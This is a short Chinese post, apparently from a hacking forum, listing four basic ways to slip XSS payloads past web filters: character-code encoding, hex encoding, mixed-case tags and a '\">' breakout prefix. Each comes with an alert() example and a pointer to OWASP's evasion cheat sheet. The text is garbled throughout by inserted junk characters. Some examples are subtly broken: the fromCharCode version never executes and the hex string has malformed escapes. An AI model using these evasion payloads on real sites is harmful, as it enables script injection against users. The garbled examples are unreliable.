四种超级基础的绕过方法。7 j Q2 V) g! W8 u% N r/ s% F( d2 T
1.转换为ASCII码; r: _+ U' s' H$ Y7 q F/ e! l
例子:原脚本为<script>alert(‘I love F4ck’)</script >+ V c# G7 D- O+ H1 B9 W6 p; v
通过转换,变成:
* `# M5 ^/ r$ H# ~& f<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
6 c3 u8 A; F( R. t) ]! f1 \4 g # }2 A0 K! Z% o b0 V) \: j
2.转换为HEX(十六进制)7 d7 q r! @* j
例子:原脚本为<script>alert(‘I love F4ck’)</script>! G; X0 P- F9 F; g
通过转换,变成:
G& w( h2 P/ H) }7 O%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e6 p3 I" \( l; G0 ]( P% Q( _
; y/ l+ w( m- m* }9 `4 V3.转换脚本的大小写/ Q. T3 D9 l/ E7 K
例子:原脚本为<script>alert(‘I love F4ck’)</script>
9 r: |6 U. a$ M转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
( u* X. ~# Q; [3 O6 u5 } : N/ ]1 g; O3 {# T" R$ Z
4.增加闭合标记”>7 e+ `3 D/ z2 R: {6 m& ]
例子:原脚本为<script>alert(‘I love F4ck’)</script>% B e1 s! b% V2 ]
转换为:”><script>alert(‘I love F4ck’)</script>
b4 s" t4 A p8 s( \5 d2 F' x更详细绕过技术请参考此网页6 U6 ~* ?- u! v9 P/ N
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet( a8 ^$ U6 n% `
( b$ V0 e" X4 I( g: _( k5 j0 o转换工具使用的是火狐的 hackbar mozilla addon. |